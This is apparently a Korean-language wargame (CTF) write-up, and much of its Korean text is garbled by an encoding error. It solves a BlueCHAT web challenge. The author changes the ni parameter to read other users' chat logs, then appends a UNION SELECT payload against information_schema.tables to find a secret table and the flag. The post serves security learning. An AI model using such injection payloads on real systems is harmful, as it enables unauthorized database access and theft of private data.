function getchatlog(type){
xmlhttp = new XMLHttpRequest();
if(type==0){xmlhttp.onreadystatechange=getni;xmlhttp.open("GET","chatlog.php?t=1");
}else if(type==1){xmlhttp.onreadystatechange=chatprint;xmlhttp.open("GET","chatview.php?t=1&ni="+ni + " union select 1,table_name,3,4,5 from information_schema.tables--");}
xmlhttp.send(null);
}
๊ฐ๋จํ SQL Injection ์ด๋๋ค. ๊ทธ๋ฆฌ๊ณ ํธ๋ํฝ์ ์ค์ด๊ธฐ ์ํด ํ ์ ์๋๊ฒ ๋ฌด์์ด ์๋์ง ๋ฌผ์ด๋ณด๋ ๊ฒ ๊ฐ๋ค. on developer's perspective.
ID ๋ฅผ ์ ๋ ฅํ ํ์ ์ฑํ ์๋น์ค๋ก ์ฐ๊ฒฐ์ด ๋๋ค. ์ด๊ณณ์์ ์ด๋ค SQL ์ทจ์ฝ์ ์ ๋ฐ๊ฒฌํ ์๋ ์์๋ค. db table ์ ๊ดํด์ ์ด๋ค ์ ๋ณด๋ ์์๊ธฐ ๋๋ฌธ์ด๋ค. ๋ก๊ทธ์ธ ํ ํ ์ฑํ ์๋น์ค์ ์ ๊ทผํ๋๋ก ํ๊ฒ ๋ค.
์ด๋ฐ UI์ ์ญ์ ๋จ์ํ Injection ์ ์คํ๋์ง ์์๋ค. ๊ฐ๋ฐ์ ๋ชจ๋๋ก ์์ค๋ฅผ ์ดํด๋ณด๋ ๋ค์๊ณผ ๊ฐ์ JS ๊ฐ ๋ณด์๋ค,
<style>
textarea {padding-left:10px; font-size:15px; font-family:verdana;}
body {background-color:#aaa;}
</style>
<script src="./blueh4g_js.js"></script>
<script>
var xmlhttp,ni,iq=0,brtype=1;
function getchatlog(type){
xmlhttp = new XMLHttpRequest();
if(type==1){xmlhttp.onreadystatechange=getni;xmlhttp.open("GET","chatlog.php?t=1");
}else if(type==2){xmlhttp.onreadystatechange=chatprint;xmlhttp.open("GET","chatview.php?t=1&ni="+ni);}
xmlhttp.send(null);
}
function chatprint(){
if(xmlhttp.readyState==4 && xmlhttp.status==200){
var temp=xmlhttp.responseText;
if(brtype==2){cwifr.document.body.innerHTML+=temp;}else{cwifr.document.write(temp);}
cwifr.document.body.scrollTop=cwifr.document.body.scrollHeight;
}
}
function getni(){
if(xmlhttp.readyState==4 && xmlhttp.status==200){
var tni=parseInt(xmlhttp.responseText);
if(tni!=ni && iq!=0){getchatlog(2);}
ni=tni;iq=1;
}
}
function sayf(f){
var xmlhttp2 = new XMLHttpRequest();
var pdata="chatlog.php?"+encodeURI("data="+f.saydata.value);
xmlhttp2.open("GET",pdata);
xmlhttp2.send(null);
f.saydata.value="";
f.saydata.focus();
return false;
}
function init(){
cwifr = document.getElementById("ifr").contentWindow;
cwifr.document.body.style.backgroundColor="fff";
// cwifr.document.designMode="on";
var temp=get_br_blue();
if(temp=="CHR" || temp=="SAF"){brtype=2;}
getchatlog(1);
setInterval("getchatlog(1)",1000);
document.getElementById("firstf").focus();
}
</script>
<body onload="init();" style="text-align:center;">
<form method="post" action="chatlog.php" onsubmit="return sayf(this);">
<table align=center>
<tr><td>
<h3>[ BlueCHAT v0.9 ] - <span style="font-size:60%;">์๊ฒ์์ฉ ์ฑํ
์ด๋ผ ๋ฐ์ดํฐ ๋ฆฌํ๋ ์ฌ๋ ์ข ๋๋ฆฌ๊ฒ ํด๋์ต๋๋ค~</span></h3>
<iframe id="ifr" style="width:850px; height:500px;"></iframe>
</td></tr>
<tr><td align=center><input type="text" style="width:120px; text-align:center; font-weight:bold;" value="ใ
ใน" readonly><input type="text" name="saydata" style="width:500px" id="firstf"><input type="submit" value="say"> <span style="font-size:9px; color:#000;">made by BlueH4G</span><input type="button" value="logout" onclick="window.location='./';"></td></tr>
</table>
</form>
</body>
๊ทธ๋ฆฌ๊ณ ๋คํธ์ํฌ์๋ ์ง์์ ์ผ๋ก
chatlog.php ๋ฅผ ๊ฐ์ ธ์ค๊ณ ์์๋ค. ์ด๋ค ์ฟผ๋ฆฌ๋ฌธ์ ํตํด ์ด๋ฐ php ๊ฐ ๊ฐ์ ธ์์ง๋ ๊ฒ ๊ฐ๋ค.
JS ์ ์๋ ์์ค๋ฅผ ์ดํด๋ณด๋๋ก ํ๊ฒ ๋ค.
getchatlog ๋ผ๋ ํจ์์ GET ๋ฐฉ์์ผ๋ก t ๋ณ์์ 1 ์ ๋ฃ์ด chatlog ๋ฅผ ์์ฒญํ๋ ๊ฒ์ ๋ณผ ์ ์๋ค. ๊ทธ๋ฆฌ๊ณ getchatlog ์ ์ธ์์ธ type ์ด 2 ๋ผ๋ฉด GET ๋ฐฉ์์ผ๋ก chatview.php ๋ผ๋ php ๋ฅผ t=1 ๋ณ์ ๊ทธ๋ฆฌ๊ณ ni ๋ผ๋ ์ด๋ค ๋ณ์๋ฅผ ์ฌ์ฉํ์ฌ ์์ฒญํ๋ ๊ฒ์ ๋ณผ ์ ์๋ค. Burpsuite ๋ฅผ ์ด์ฉํด์ ํจํท์ ์ดํด๋ณด๋๋ก ํ๊ฒ ๋ค.
์๊น ๋ณด์๋ php ์์ฒญ ํจํท์ด๋ค. type ๋ณ์๋ฅผ 1์์ 2๋ก ๋ฐ๊ฟ์ ์์ฒญํ ํ์๊ฐ ์์๊ฒ๊ฐ๋ค.
ํด๋น ํจ์๋ฅผ ์ฝ์๋ก ์์ ํ์ฌ type 1 ์ผ๋ chatview ๋ฅผ ์์ฒญํ๋๋ก ์์ ํ๊ฒ ๋ค.
function getchatlog(type){
xmlhttp = new XMLHttpRequest();
if(type==0){xmlhttp.onreadystatechange=getni;xmlhttp.open("GET","chatlog.php?t=1");
}else if(type==1){xmlhttp.onreadystatechange=chatprint;xmlhttp.open("GET","chatview.php?t=1&ni="+ni);}
xmlhttp.send(null);
}
์ด๋ ๊ฒ ์์ ํ๋ฉด ํจํท์์
chatview ๋ฅผ ์์ฒญํ ๊ฒ์ ๋ณผ ์ ์๋ค. ๊ทธ๋ฆฌ๊ณ ni ๋ผ๋ ๊ฐ์ 55940 ์์ ์ ์ ์๋ค. ํ์ง๋ง ํจํท์ ์ด๋ค ๋ณ์๋ง ๋ฐ๋์์ ๋ฟ, UI ์ ๋์ ๋๋ ๋ณํ๋ ๋ณด์ด์ง ์์๋ค.
์ฑํ ์ ์ ๋ ฅํด๋ณด๊ฒ ๋ค.
chatview.php ๋ ์ฑํ ๊ธฐ๋ก์ ๋ณด์ฌ์ฃผ๋ ๋ฏ ํ๋ค. ๊ทธ ์ธ์๋ ์ด๋ค ๋ค๋ฅธ๊ฒ์ด ๋ณด์ด์ง ์์๋ค. ํ์ด์ง ์์ค๋ฅผ ๋ค์ํ๋ฒ ์ดํด๋ณด์์ผ๊ฒ ๋ค. ํ์ด์ง ์์ค์๋ '55940' ์ด๋ผ๋ ๊ฐ ๋ง๊ณ ๋ ๋ค๋ฅธ๊ฒ์ด ์๋ค. ๊ทธ๋ ๋ค 55940 ์ ํจํท์์ ์์ฒญํ๋ ni ๋ณ์์ ๊ฐ์ด๋ค.
๊ทธ๋ฆฌ๊ณ ๋ด๊ฐ ์ ๋ ฅํ๋ ๊ฐ์ด ๊ณ์ load ๋๊ณ ์๋๊ฑฐ๋ก ๋ณด์, ni ๊ฐ์ด ๋์ ์ฑํ ๋ด์ญ์ ๊ดํด์ ์ด๋ค ์ ๋ณด๋ฅผ ๊ฐ์ง๊ณ ์๋ ๊ฒ ์ฒ๋ผ ๋ณด์ธ๋ค.
ni ๋ฅผ ์กฐ์ํ์ฌ ๋ณด๋ด๋ณด๋๋ก ํ๊ฒ ๋ค.
55940 -> 55941 ๋ก ๋ฐ๊พธ์๋ค.
๋ง์ง๋ง์ผ๋ก ์ ๋ ฅํ๋ ์ฑํ ์ด ์ฌ๋ฌ๊ฐ ๋ณด์ฌ์ง๋ค. ๊ณ์ ๋ฐ๊พธ์ด๋ณด๊ฒ ๋ค.
TEST ๋ผ๋ ์๋ก์ด ๋ฌธ์๋ฅผ ์ฑํ ์๋ฒ์ ๋ณด๋ด๊ณ ni ๋ฅผ 55940 -> 55939 ๋ก ๋ฐ๊พธ์๋๋
๋ค๋ฅธ ์ฌ๋์ ์ฑํ ์ด ๋ณด์ฌ์ง๋ค. ni ๋ user ์ id ๊ฐ์ ์ญํ ์ ํ์ ๊ฒ์ด๋ค.
๊ทธ๋ ๋ค๋ฉด ํด๋น ์ฟผ๋ฆฌ๋ select <์ฑํ ๋ด์ญ > from < table name > where ni = 55940 ; ์ด๋ฐ์์ด ๋ ๊ฒ์ด๋ค. ๊ทธ๋ ๋ค๋ฉด ni ๊ฐ์ ์กฐ์ํจ์ผ๋ก์จ ๋ค๋ฅธ ์ ์ ์ ์ฑํ ๋ก๊ทธ๋ฅผ ๊ฐ์ ธ์์ผ๋ '์ทจ์ฝํ ์ธ์ฆ' ์ ํด๋นํ๋ ์ทจ์ฝ์ ์ด ๋ฐ์ํ๋ค. ๊ทธ๋ฆฌ๊ณ ์ด ni ๋ณ์๋ฅผ ์ด์ฉํ์ฌ ์ธ์ ์ ์ ์๋ํด๋ณด๊ฒ ๋ค.
์ฟผ๋ฆฌ๋ฅผ ๋ณด๋ด๋ณด๊ฒ ๋ค.
packet ์ ์ด์ฉํด์๋ ์๋๊ธธ๋ ๊ทธ๋ฅ ํจ์๋ฅผ ๊ณ ์ณ์ ๋ธ๋ผ์ฐ์ ์์์ ์ธ์ฝ๋ฉํ๋๋ก ํ๋ค.
function getchatlog(type){
xmlhttp = new XMLHttpRequest();
if(type==0){xmlhttp.onreadystatechange=getni;xmlhttp.open("GET","chatlog.php?t=1");
}else if(type==1){xmlhttp.onreadystatechange=chatprint;xmlhttp.open
("GET","chatview.php?t=1&ni="+ni + " union select 1,table_name,3,4,5 from information_schema.tables--");}
xmlhttp.send(null);
}
์ด๋ ๊ฒ ํจ์๋ฅผ ์์ ํด์ ๋ณด๋๋๋
์ด๋ฐ ํ ์ด๋ธ๋ค์ด ๋์๋ค.
secret ์ด๋ผ๊ณ ํ๋ฉด ๊ดํ ๋ณด๊ณ ์ถ์ด์ง๋ค. ์ฌ์ค ์ ๊ฒ ์ ์ผ ์์ํ๋ค. select ๋ฌธ์ ๋ค์ ์์ ํด์ chat_log_secret ์ ์กฐํํด๋ณด๊ฒ ๋ค.
ํด๋น ํ ์ด๋ธ์ ์กฐํํ์ฌ, ์ง์ ์ ๊ทผํ๋๋ ํ๋๊ทธ๊ฐ ๋์๋ค.
์ด ๋ฌธ์ ๋ฅผ ํธ๋๋ฐ ํ ์ด๋ธ๊ณผ ์ปฌ๋ผ ์ ๋ณด๋ฅผ ๊ฐ์ ธ์ค๋๋ฐ ์ค๋ฒํค๋๊ฐ ๋๋ฌด ์ฌํด์ type ์ ๊ฐ์ ๋ก ๋ฐ๊ฟ์ chatview ์ ์ ๊ทผํ๋๊ฒ์ ์ถ์ฒํ์ง ์๋๋ค...
'Hacking > Wargame' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
Wargame ) pyc decompile (0) | 2020.07.13 |
---|---|
Wargame ) EASY_Crackme (0) | 2020.07.12 |
Wargame ) Type Confusion (0) | 2020.07.09 |
Wargame ) tmitter (0) | 2020.07.09 |
Wargame ) Fly me to the moon (0) | 2020.07.07 |